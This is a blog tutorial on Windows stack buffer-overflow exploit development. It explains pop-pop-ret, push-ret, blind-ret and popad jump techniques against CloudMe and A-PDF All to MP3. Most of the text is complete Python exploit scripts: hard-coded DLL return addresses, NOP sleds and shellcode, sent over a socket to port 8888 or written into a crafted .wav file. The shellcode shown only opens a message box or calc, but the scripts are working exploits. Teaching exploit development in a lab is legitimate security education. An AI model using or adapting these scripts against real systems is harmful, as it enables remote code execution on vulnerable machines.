Post

Windows Exploit Development Part II

Windows Exploit Development Part II

Hello everyone. Today, I’ll show you the different skills you need to create exploits. In this section, I’ll talk more about the Immunity Debugger. We will use methods like:

  • Pop Return this technique is not related to the SEH technique.
  • Push Return.
  • Blind Return.
  • Popad is also used in Unicode technique.

Pop Return Technique

If any registry doesn’t use the shellcode directly, it will be seen in the stack and won’t run our code because of different things that happen during the attack. We will use this method, which is a bounce pop pop ret and either jmp esp or call esp from a DLL.

The pop ret method can only be used if ESP+offset already has an address that points to the shellcode. All we have to do is check to see if the first addresses point to the shellcode and add a reference to pop pop ret in EIP. Every time you pop, this will take an address from the stack and put the next address into EIP.

I’ll get right to making the script for our attack. I’ll use the same program as in the first part, CloudMe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

target="127.0.0.1"
junk="A"*1052
pop="B"*4
junk1='C'
junk1+="\x90"*7
jmp_esp="C"*4
shellcode ="\x90"*1000
payload=junk+pop+junk1+jmp_esp+shellcode

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except:
	print "Don't Crash Me !"

We know that we need 1052 bytes before we can overwrite EIP and that we need 4 more bytes to get to the address on the stack that ESP points to (in my case, ESP is 0x0022ab50, which is colored green). We will pretend that we have a pointer to the shellcode at ESP+8.

We have 1052 A and 4 B. We use one C as a break, which gives us 7 NOPS. We also have 4 C and a fake shellcode that gives us 1000 NOPS. The goal is to jump over the first break, which is colored blue (C), and go straight to the second break, which is colored orange and light green (CCCC). We need to use ESP+8 = 0x0022ab58 (purple) to do this.

Let’s use WinDbg to figure out what we are trying to do; connect the process and run your script.

windows

We see that EIP is overwritten with BBBB, but we need to overwrite it with ESP+8… I will make a table to show how this technique looks.

BUFFEREIPSpace 8 bytes (Nop)JMP ESPShellcode
A * 1052POP POP RET90 90 90 90 90 90 90 900xaddress\xba\xd5\x31\x08\x38…

Example of POC code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

target="127.0.0.1"
junk="A"*1052
pop="B"*4 	                # Address pop pop ret
junk1="\x90"*8 			# 8 bites space
jmp_esp="C"*4 			# jmp esp address
nop="\x90"*20 			# NOPS
shellcode ="\x90"*1000 		# Shellcode
payload=junk+pop+junk1+jmp_esp+nop+shellcode

try:

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except:
	print "Don't Crash Me !"

Now we use Immunity Debugger to search the DLLs for pop pop ret and jmp esp or call esp. Run Immunity as Administrator and attach the process (PID)! Use mona.py to find DLLs without protection:

1
!mona nosafeseh

windows

Everything that is “False” can be used to find an address! Use ALT + E to find all DLLs. I use the third DLL. But don’t forget to start the program.

1
61B40000|005F6000|Qt5Gui|5.9.0.0|C:\Users\Buffer\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll

Now we use ALT + S to find a sequence of commands for pop pop ret; I use pop r32 because I have an x86 architecture.

windows

Now we use the same DLL to find the jmp esp address. Use CTRL + F to find the command.

windows

We have all the pieces for the exploit. We have the pop pop ret address 0x77621f29 and the ESP+8 address 0x7767e684 (1052 A + pop_ret + 8_bytes_space + jmp_esp + nop + shellcode).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket


target="127.0.0.1"
junk="A"*1052
pop="\x29\x1f\x62\x77"  		# 0x77621F29   5B     POP EBX
junk1="\x90"*8 				# 8 bites space
jmp_esp="\x84\xe6\x67\x77" 		# 0x7767E684   FFE4   JMP ESP
nop="\x90"*20 				# NOPS

#Shellcode message BrokenByte
shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

payload=junk+pop+junk1+jmp_esp+nop+shellcode

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except:
	print "Don't Crash Me !"

Run exploit.

windows

Push Return Technique

This technique is a little bit different than a jump or call. That’s why I will not get into details. All we have to do is overwrite EIP with the address of a push instruction from one of the DLLs.

Open WinDbg, attach the process CloudMe.exe; don’t use g to start the software.

windows

Now we need to find, in a DLL, the push esp instruction, whose opcode is 54 c3. I use this DLL.

1
ModLoad: 68a80000 69055000   C:\Users\Buffer\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll

windows

I use the first address, 0x68a842b5. Now let’s make an exploit with this address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

target="127.0.0.1"
junk="A"*1052
push="\xb5\x42\xa8\x68"     # push ESP RET 0x68a842b5
nop="\x90"*20 		    # NOPS

shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

payload=junk+push+nop+shellcode
try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except:
	print "Don't Crash Me !"

Run exploit.

windows

Blind Ret Technique

This technique varies from software to software. It is used to overwrite the EIP address with a ret address, then use another address, jmp esp, to bounce to the shellcode.

Use WinDbg to find the address of a ret instruction, as in the image.

windows

We have the address for ret=0x6eb41011. To find jmp esp, I use another DLL.

windows

We got both addresses, ret=0x6eb41011 and jmp esp=0x61ffba23. The final POC looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import socket

target="127.0.0.1"
junk="A"*1052
ret="\x11\x10\xb4\x6e"       # 0x6eb41011 ret c3
jmp_esp="\x23\xba\xff\x61"   # 0x61ffba23 jmp esp ff e4
nop="\x90"*20                # NOPS

shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

payload=junk+ret+jmp_esp+nop+shellcode

try:

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except:
	print "Don't Crash Me !"

Again we get a pop-up: BrokenByte.

windows

Popad Technique

This technique is like pop pop ret, but it’s more complex and is also used in the Unicode and SEH methods. We will make a small table to understand the structure of this method.

For this method I will use another piece of software called A-PDF All to MP3 https://www.exploit-db.com/apps/70e0d247368fd3f3232abc469c1fc952-a-pdf-atmc.exe

BUFFERNSEHPOPAD_AddressNOPSShellcode
A * 41320x909006eb —> 6 bytes0xPOPAD_AddressNOPNOPNOPNOP\xba\xd5\x31\x08\x38…

Now let’s try to find the address of popad with WinDGB. First we’ll look for the opcode.

windows

I don’t know why normal popad won’t work, so I used a popad and jmp ebp instead. We have the opcode now. Let’s look for the address. I used dll first.

1
ModLoad: 00400000 00610000   C:\Program Files\A-PDF All to MP3\Alltomp3.exe

Nice, this place only has one address. Now we have all the pieces, and we have 4132 A’s because we use another piece of software: 6_bytes_jump + popad + jmp_ebp + nops + shellcode. The buffer-offset calculation method does not change; it remains the same as for the first software.

windows

Final POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket

buffer = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"  # Jump 6 bytes
popad ="\x7f\x80\x55\x00"  # 0055807f popad and jmp ebp opcode 61 ff e5
nops = "\x90" * 80         # Nops

#calc shellcode, but be careful: this software contains bad chars
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbf\x77\x1c\x78\x77\x5d\x31\xc9\xb1"
"\x33\x31\x7d\x17\x03\x7d\x17\x83\x9a\xe0\x9a\x82\x98\xf1\xd2"
"\x6d\x60\x02\x85\xe4\x85\x33\x97\x93\xce\x66\x27\xd7\x82\x8a"
"\xcc\xb5\x36\x18\xa0\x11\x39\xa9\x0f\x44\x74\x2a\xbe\x48\xda"
"\xe8\xa0\x34\x20\x3d\x03\x04\xeb\x30\x42\x41\x11\xba\x16\x1a"
"\x5e\x69\x87\x2f\x22\xb2\xa6\xff\x29\x8a\xd0\x7a\xed\x7f\x6b"
"\x84\x3d\x2f\xe0\xce\xa5\x5b\xae\xee\xd4\x88\xac\xd3\x9f\xa5"
"\x07\xa7\x1e\x6c\x56\x48\x11\x50\x35\x77\x9e\x5d\x47\xbf\x18"
"\xbe\x32\xcb\x5b\x43\x45\x08\x26\x9f\xc0\x8d\x80\x54\x72\x76"
"\x31\xb8\xe5\xfd\x3d\x75\x61\x59\x21\x88\xa6\xd1\x5d\x01\x49"
"\x36\xd4\x51\x6e\x92\xbd\x02\x0f\x83\x1b\xe4\x30\xd3\xc3\x59"
"\x95\x9f\xe1\x8e\xaf\xfd\x6f\x50\x3d\x78\xd6\x52\x3d\x83\x78"
"\x3b\x0c\x08\x17\x3c\x91\xdb\x5c\xb2\xdb\x46\xf4\x5b\x82\x12"
"\x45\x06\x35\xc9\x89\x3f\xb6\xf8\x71\xc4\xa6\x88\x74\x80\x60"
"\x60\x04\x99\x04\x86\xbb\x9a\x0c\xe5\x5a\x09\xcc\xc4\xf9\xa9"
"\x77\x19")

exploit=buffer + nseh + popad + nops + shellcode

try:
    use= open("POPAD.wav",'w')
    use.write(exploit)
    use.close()
    raw_input("\nExploit file created!\n")

except:
    print "Cannot create"

The POPAD.wav file is created; open the software and load this file.

windows

I hope you enjoyed this article about Windows Exploit Development, and sorry for my bad English — I’m not a native speaker. (Happy Hacking!)

Reference

https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

https://packetstormsecurity.com/files/118057/A-PDF-All-To-MP3-Converter-2.3.0-Buffer-Overflow.html

https://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/

This post is licensed under CC BY 4.0 by the author.